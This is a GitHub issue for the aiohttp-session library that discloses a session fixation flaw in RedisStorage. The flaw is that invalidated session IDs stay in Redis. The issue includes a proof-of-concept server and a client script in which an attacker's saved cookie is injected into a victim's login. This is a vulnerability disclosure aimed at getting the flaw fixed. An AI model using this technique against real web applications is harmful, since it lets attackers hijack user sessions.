-
Notifications
You must be signed in to change notification settings - Fork 84
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Session Fixation vulnerability in RedisStorage #272
Comments
Preparing some PoC code to demonstrate the above. |
EditChanged the client to use non-strict CookieJar (so cookies are kept from non-domain hosts) and adjusted the output. Point still stands. PoCOk so based off of the RedisStorage example, the server looks like this: import asyncio
import aioredis
import time
from aiohttp import web
from aiohttp_session import setup, get_session
from aiohttp_session.redis_storage import RedisStorage
async def login(request):
session = await get_session(request)
last_visit = session['last_visit'] if 'last_visit' in session else None
session['last_visit'] = time.time()
text = 'Last visited: {}'.format(last_visit)
return web.Response(text=text)
async def logout(request):
session = await get_session(request)
session.invalidate()
return web.Response(status=204)
async def make_redis_pool():
redis_address = ('127.0.0.1', '6379')
return await aioredis.create_redis_pool(redis_address, timeout=1)
def make_app():
loop = asyncio.get_event_loop()
redis_pool = loop.run_until_complete(make_redis_pool())
storage = RedisStorage(redis_pool, cookie_name='FIXATED')
async def dispose_redis_pool(app):
redis_pool.close()
await redis_pool.wait_closed()
app = web.Application()
setup(app, storage)
app.on_cleanup.append(dispose_redis_pool)
app.router.add_get('/auth', login)
app.router.add_delete('/auth', logout)
return app
web.run_app(make_app(), port=8889) Accordingly, the client: import aiohttp
import asyncio
async def fixation_poc():
jar = aiohttp.CookieJar(unsafe=True)
async with aiohttp.ClientSession(cookie_jar=jar) as session:
# Attacker logs in
resp = await session.get('http://127.0.0.1:8889/auth')
# print(resp.status)
# print('First Login, Cookie: ', resp.cookies)
print('First Login, Cookie: ', resp.cookies['FIXATED'])
# Attacker saves cookie
evil_cookie = resp.cookies['FIXATED']
# Attacker logs out
resp = await session.delete('http://127.0.0.1:8889/auth')
print('After Logout, Cookie: ', resp.cookies['FIXATED'])
# Seperate session. This is the victim. In the creation of ClientSession the evil_cookie is injected
jar = aiohttp.CookieJar(unsafe=True)
async with aiohttp.ClientSession(cookies={'FIXATED': evil_cookie.value}, cookie_jar=jar) as session:
# Victim logs in
resp = await session.get('http://127.0.0.1:8889/auth')
print('Victim Login, Cookie: ', resp.cookies['FIXATED'])
asyncio.get_event_loop().run_until_complete(fixation_poc()) Running the two results in the following output (client side):
As you can see the victim was assigned the session ID that the attacker injected as a cookie, effectively having access to the victim's session (through the original cookie) |
There is a window of opportunity for Session Fixation exploitation in the logic of RedisStorage.
As seen here: https://github.com/aio-libs/aiohttp-session/blob/master/aiohttp_session/__init__.py#L190
Get session data returns an empty dictionary for an empty (this includes invalidated) session.
Referring here: https://github.com/aio-libs/aiohttp-session/blob/master/aiohttp_session/redis_storage.py#L60
save_session takes this data and saves it in Redis.
As a result, an invalidated session will result to the session ID being present in Redis with an empty mapping as its value.
Now looking over at: https://github.com/aio-libs/aiohttp-session/blob/master/aiohttp_session/redis_storage.py#L50
RedisStorage's load_session only looks at the case where data (returned by reading from Redis) is None. This will happen only if the key (session ID) is not present in Redis (has either expired or was never inserted) but as we established above the key is never actually removed, just the value mapping emptied. As a result the load_session function will return a session with the presented session ID and not a new one, although there was no valid session in storage for this ID.
If this is not caught and mitigated by the web app the following scenario can unfold:
The text was updated successfully, but these errors were encountered: